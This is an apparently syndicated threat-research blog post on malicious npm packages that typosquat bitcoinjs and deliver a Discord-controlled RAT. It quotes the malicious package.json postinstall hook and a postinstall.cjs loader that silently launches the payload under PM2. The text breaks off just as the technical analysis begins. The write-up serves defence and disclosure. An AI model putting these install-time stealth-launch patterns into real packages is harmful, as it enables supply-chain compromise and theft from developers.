IntroductionZscaler ThreatLabz regularly monitors the npm database for suspicious packages. In November 2025, ThreatLabz identified three malicious packages: bitcoin-main-lib, bitcoin-lib-js, and bip40. The bitcoin-main-lib and bitcoin-lib-js packages execute a postinstall.cjs script during installation, which installs bip40, the package that contains the malicious payload. This final payload, named NodeCordRAT by ThreatLabz, is a remote access trojan (RAT) with data-stealing capabilities. It is also possible to download bip40 as a standalone package, completely bypassing the other libraries. To deceive developers into downloading the fraudulent packages, the attacker used name variations of real repositories found within the legitimate bitcoinjs project.In this blog post, ThreatLabz analyzes how NodeCordRAT uses Discord for command-and-control (C2), performs credential theft, and orchestrates remote shell access. Although the malicious packages have been removed from the npm database, it is important to examine these types of software supply chain vulnerabilities to learn from them.Key TakeawaysIn November 2025, three malicious npm packages, bitcoin-main-lib, bitcoin-lib-js, and bip40, were discovered. These packages were designed to deliver and install a new RAT malware family.ThreatLabz named this new malware family NodeCordRAT since it is spread via npm and uses Discord servers for C2 communication.NodeCordRAT targets Chrome credentials, sensitive secrets such as API tokens, and MetaMask (a popular cryptocurrency platform) data including keys and seed phrases. ThreatLabz observed several thousand downloads for these malicious npm packages.BackgroundThe bitcoinjs project is a legitimate open-source JavaScript library used by developers to build Bitcoin-related applications. In this attack, the attacker created packages with names resembling repositories within the bitcoinjs ecosystem. These malicious packages include:bip40: Mimics legitimate libraries such as bip38, bip39, and bip32, part of the Bitcoin Improvement Proposals (BIPs) standard.bitcoin-main-lib: While not a direct typosquat, this package uses a name similar to bitcoinjs-lib (a legitimate repository) with associations to the ecosystem.bitcoin-lib-js: Closely matches the legitimate bitcoinjs-lib repository.Package Data SummaryAll three of the malicious packages were uploaded by the same author. The email address [email protected] is associated with multiple versions of the packages. The table below lists the malicious packages, their versions, and the approximate number of downloads:Malicious package nameVersionApproximate number of downloadsbitcoin-lib-js7.2.1183bitcoin-main-lib7.2.0, 7.0.02,286bip401.0.0, 1.0.6958Table 1: Malicious npm package names, version numbers, and approximate number of downloads.Attack FlowsNodeCordRAT is deployed through npm packages with wrapper packages designed to mask the actual malicious package. For example, a developer may download bitcoin-main-lib or bitcoin-lib-js from npm. When the postinstall.cjs script runs, it will fail because it requires another package with the name bip40. Thus, a developer may install the bip40 package to satisfy this dependency. However, the bip40 package is in fact malicious and deploys the NodeCordRAT payload. The attack flow is illustrated in the figure below. Figure 1: The attack flow illustrates NodeCordRAT being deployed by bip40, which is a required dependency for wrapper packages (bitcoin-main-lib or bitcoin-lib-js).Each malicious package includes a package.json, a standard file in npm packages. The attackers modified this file to include a link to the legitimate bitcoinjs project to help the malicious package appear more credible. An excerpt from the package.json code is shown below.”scripts”: {
“audit”: “better-npm-audit audit -l high”,
“build”: “npm run clean && tsc -p ./tsconfig.json && tsc -p ./tsconfig.cjs.json && npm run formatjs”,
“postbuild”: “find src/cjs -type f -name \”*.js\” -exec bash -c ‘mv \”$0\” \”${0%.js}.cjs\”‘ {} \\; && chmod +x ./fixup.cjs && node fixup.cjs”,
“postinstall”: “node postinstall.cjs”,
“bip40:start”: “node postinstall.cjs”,
“bip40:stop”: “pm2 stop bip40”,
“bip40:status”: “pm2 status bip40”,
“bip40:logs”: “pm2 logs bip40”,
…
}
“repository”: {
“type”: “git”,
“url”: “https://github.com/bitcoinjs/bitcoinjs-lib.git”
}The postinstall.cjs script automates the execution of bip40 by resolving its entry point via require.resolve() and launching it under Process Manager 2 (PM2). The script determines the PM2 binary path based on the operating system and starts bip40 in detached mode, providing runtime persistence. This means bip40 continues running after the installer exits and PM2 will automatically restart it if it crashes during the current session. However, by default, this does not establish persistence across reboots. If PM2 isn’t locally available, the script logs a warning and exits without launching bip40. Notably, no user interaction is required at any point to trigger bip40. An excerpt from the postinstall.cjs code is shown below.// Determines the PM2 binary path based on the operating system.
const isWindows = process.platform === ‘win32’;
const pm2Binary = path.join(
__dirname,
‘node_modules’,
‘.bin’,
isWindows ? ‘pm2.cmd’ : ‘pm2’
);
// Checks if PM2 exists.
if (!fs.existsSync(pm2Binary)) {
console.error(‘pm2 binary not found. Please ensure pm2 is installed.’);
process.exit(0); // Exits gracefully.
}
// Starts bip40 with PM2 in detached mode so it doesn’t block NPM install.
const args = [‘start’, bip40Path, ‘–name’, ‘bip40’];
const child = spawn(pm2Binary, args, {
detached: true, // Detaches from parent process.
stdio: ‘ignore’, // Ignores stdio to prevent hanging.
windowsHide: true, // Hides window on Windows.
});
Technical Analysis The following sections examine NodeCordRAT’s capabilities, including its host fingerprinting, C2 communication, and data exfiltration methods. Host fingerprinting and channel namingBefore establishing C2 communication, NodeCordRAT performs host fingerprinting to generate a unique identifier for each compromised machine, in the following format:
*** This is a Security Bloggers Network syndicated blog from Security Research | Blog authored by Satyam Singh (Associate Security Researcher). Read the original post at: https://www.zscaler.com/blogs/security-research/malicious-npm-packages-deliver-nodecordrat